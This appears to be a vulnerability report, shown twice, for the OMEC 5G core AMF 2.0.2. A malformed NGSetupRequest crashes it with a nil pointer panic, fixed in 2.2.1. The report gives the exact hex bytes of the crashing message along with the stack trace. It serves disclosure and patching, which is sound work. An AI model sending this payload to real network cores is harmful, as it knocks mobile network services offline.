AMF crashes when a malformed NGSetupRequest with no valid InformationElement is sent. Invalid memory address or nil pointer deference.
Reproduction Step:
Send the following NGSetupRequest
00 15 00 2D 00 00 00 FF FF 00 06 00 F9 38 90 00 00 00 52 40 02 81 00 00 65 00 0C 01 90 72 58 C0 0F 93 89 00 00 A6 C0 00 15 40 01 20 00 01 00 01 80
AMF Version: 2.0.2
AMF Log:
2026-02-10T00:38:29.203Z INFO ngap/handler.go:532 handle NG Setup request {"component": "AMF", "category": "NGAP", "ran_addr": "127.0.0.1:38112"} panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x1369215] goroutine 1256 gp=0xc000102a80 m=2 mp=0xc000088808 [running]: panic({0x1624140?, 0x26d9d20?}) /usr/local/go/src/runtime/panic.go:802 +0x168 fp=0xc000669540 sp=0xc000669490 pc=0x481128 runtime.panicmem(...) /usr/local/go/src/runtime/panic.go:262 runtime.sigpanic() /usr/local/go/src/runtime/signal_unix.go:925 +0x359 fp=0xc0006695a0 sp=0xc000669540 pc=0x483ab9 github.com/omec-project/amf/ngap.HandleNGSetupRequest(0xc000374dc0, 0x0?) /go/src/amf/ngap/handler.go:582 +0x875 fp=0xc000669ca0 sp=0xc0006695a0 pc=0x1369215 github.com/omec-project/amf/ngap.DispatchNgapMsg({0x1b369a0, 0x2734720}, 0xc000374dc0, 0xc000396500, 0x0) /go/src/amf/ngap/dispatcher.go:233 +0xac9 fp=0xc000669fa8 sp=0xc000669ca0 pc=0x13640e9 github.com/omec-project/amf/ngap.Dispatch.gowrap1() /go/src/amf/ngap/dispatcher.go:169 +0x2e fp=0xc000669fe0 sp=0xc000669fa8 pc=0x136356e runtime.goexit({}) /usr/local/go/src/runtime/asm_amd64.s:1693 +0x1 fp=0xc000669fe8 sp=0xc000669fe0 pc=0x489ca1 created by github.com/omec-project/amf/ngap.Dispatch in goroutine 720 /go/src/amf/ngap/dispatcher.go:169 +0x5c6
Advisory:
Fixed in version 2.2.1
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
AMF crashes when a malformed NGSetupRequest with no valid InformationElement is sent. Invalid memory address or nil pointer deference.
Reproduction Step:
Send the following NGSetupRequest
00 15 00 2D 00 00 00 FF FF 00 06 00 F9 38 90 00 00 00 52 40 02 81 00 00 65 00 0C 01 90 72 58 C0 0F 93 89 00 00 A6 C0 00 15 40 01 20 00 01 00 01 80
AMF Version: 2.0.2
AMF Log:
2026-02-10T00:38:29.203Z INFO ngap/handler.go:532 handle NG Setup request {"component": "AMF", "category": "NGAP", "ran_addr": "127.0.0.1:38112"} panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x1369215] goroutine 1256 gp=0xc000102a80 m=2 mp=0xc000088808 [running]: panic({0x1624140?, 0x26d9d20?}) /usr/local/go/src/runtime/panic.go:802 +0x168 fp=0xc000669540 sp=0xc000669490 pc=0x481128 runtime.panicmem(...) /usr/local/go/src/runtime/panic.go:262 runtime.sigpanic() /usr/local/go/src/runtime/signal_unix.go:925 +0x359 fp=0xc0006695a0 sp=0xc000669540 pc=0x483ab9 github.com/omec-project/amf/ngap.HandleNGSetupRequest(0xc000374dc0, 0x0?) /go/src/amf/ngap/handler.go:582 +0x875 fp=0xc000669ca0 sp=0xc0006695a0 pc=0x1369215 github.com/omec-project/amf/ngap.DispatchNgapMsg({0x1b369a0, 0x2734720}, 0xc000374dc0, 0xc000396500, 0x0) /go/src/amf/ngap/dispatcher.go:233 +0xac9 fp=0xc000669fa8 sp=0xc000669ca0 pc=0x13640e9 github.com/omec-project/amf/ngap.Dispatch.gowrap1() /go/src/amf/ngap/dispatcher.go:169 +0x2e fp=0xc000669fe0 sp=0xc000669fa8 pc=0x136356e runtime.goexit({}) /usr/local/go/src/runtime/asm_amd64.s:1693 +0x1 fp=0xc000669fe8 sp=0xc000669fe0 pc=0x489ca1 created by github.com/omec-project/amf/ngap.Dispatch in goroutine 720 /go/src/amf/ngap/dispatcher.go:169 +0x5c6Advisory:
Fixed in version 2.2.1
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa